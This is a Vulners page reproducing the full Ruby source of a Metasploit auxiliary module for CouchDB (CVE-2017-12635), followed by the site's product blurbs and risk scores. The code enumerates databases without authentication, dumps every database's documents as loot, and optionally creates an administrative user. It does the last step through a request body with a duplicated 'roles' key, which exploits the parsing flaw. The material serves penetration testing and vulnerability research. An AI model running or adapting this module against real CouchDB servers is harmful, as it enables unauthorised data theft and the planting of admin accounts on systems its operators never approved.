Lucene search
K

CouchDB Enum Utility

CouchDB Enum Utility module for enumerating databases using the REST API

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CouchDB Enum Utility',  
'Description' => %q{  
This module enumerates databases on CouchDB using the REST API  
(without authentication by default).  
},  
'References' =>  
[  
['CVE', '2017-12635'],  
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],  
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']  
],  
'Author' =>  
[  
'Max Justicz', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module  
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements  
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(5984),  
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),  
OptBool.new('SERVERINFO', [true, 'Print server info', false]),  
OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),  
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),  
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),  
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])  
  
])  
end  
  
def valid_response(res)  
return res.code == 200 && res.headers['Server'].include?('CouchDB')  
end  
  
def get_version  
@version = nil  
  
begin  
res = send_request_cgi(  
'uri' => '/',  
'method' => 'GET'  
)  
rescue Rex::ConnectionError  
vprint_bad("#{peer} - Connection failed")  
return false  
end  
  
unless res  
vprint_bad("#{peer} - No response, check if it is CouchDB.")  
return false  
end  
  
if res && res.code == 401  
print_bad("#{peer} - Authentication required.")  
return false  
end  
  
if res && res.code == 200  
res_json = res.get_json_document  
  
if res_json.empty?  
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")  
return false  
end  
  
@version = res_json['version'] if res_json['version']  
return true  
end  
  
vprint_warning("#{peer} - Version not found")  
true  
end  
  
def check  
return Exploit::CheckCode::Unknown unless get_version  
version = Rex::Version.new(@version)  
return Exploit::CheckCode::Unknown if version.version.empty?  
vprint_good("#{peer} - Found CouchDB version #{version}")  
  
return Exploit::CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))  
  
Exploit::CheckCode::Safe  
end  
  
def get_dbs(auth)  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
)  
  
temp = JSON.parse(res.body)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e  
print_error("#{peer} - The following Error was encountered: #{e.class}")  
return  
end  
  
unless valid_response(res)  
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")  
return  
end  
  
print_status("#{peer} - Enumerating Databases...")  
results = JSON.pretty_generate(temp)  
print_good("#{peer} - Databases:\n\n#{results}\n")  
path = store_loot(  
'couchdb.enum',  
'application/json',  
rhost,  
results,  
'CouchDB Databases'  
)  
  
print_good("#{peer} - File saved in: #{path}")  
res.get_json_document.each do |db|  
r = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),  
'method'=> 'GET',  
'authorization' => auth,  
'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}  
)  
if r.code != 200  
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")  
return  
end  
temp = JSON.parse(r.body)  
results = JSON.pretty_generate(temp)  
path = store_loot(  
"couchdb.#{db}",  
"application/json",  
rhost,  
results,  
"CouchDB Databases"  
)  
print_good("#{peer} - #{db} saved in: #{path}")  
end  
end  
  
def get_server_info(auth)  
begin  
res = send_request_cgi(  
'uri' => '/',  
'method' => 'GET'  
)  
  
temp = JSON.parse(res.body)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e  
print_error("#{peer} - The following Error was encountered: #{e.class}")  
return  
end  
  
unless valid_response(res)  
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")  
return  
end  
  
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}  
  
print_good("#{peer} - #{JSON.pretty_generate(temp)}")  
report_service(  
host: rhost,  
port: rport,  
name: 'couchdb',  
proto: 'tcp',  
info: res.body  
)  
end  
  
def create_user  
username = datastore['HttpUsername']  
password = datastore['HttpPassword']  
roles = datastore['ROLES']  
timeout = datastore['TIMEOUT']  
version = @version  
  
data = %Q({  
"type": "user",  
"name": "#{username}",  
"roles": ["#{roles}"],  
"roles": [],  
"password": "#{password}"  
})  
res = send_request_cgi(  
{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username  
'method' => 'PUT',  
'ctype' => 'text/json',  
'data' => data,  
}, timeout)  
  
unless res && res.code == 200  
print_error("#{peer} - Change Failed")  
return  
end  
  
print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")  
end  
  
def run  
username = datastore['HttpUsername']  
password = datastore['HttpPassword']  
  
if datastore['CREATEUSER']  
fail_with(Failure::Unknown, 'get_version failed in run') unless get_version  
version = Rex::Version.new(@version)  
print_good("#{peer} - Found CouchDB version #{version}")  
create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))  
end  
auth = basic_auth(username, password) if username && password  
get_server_info(auth) if datastore['SERVERINFO']  
get_dbs(auth)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 39.8
CVSS 210
EPSS0.94098
296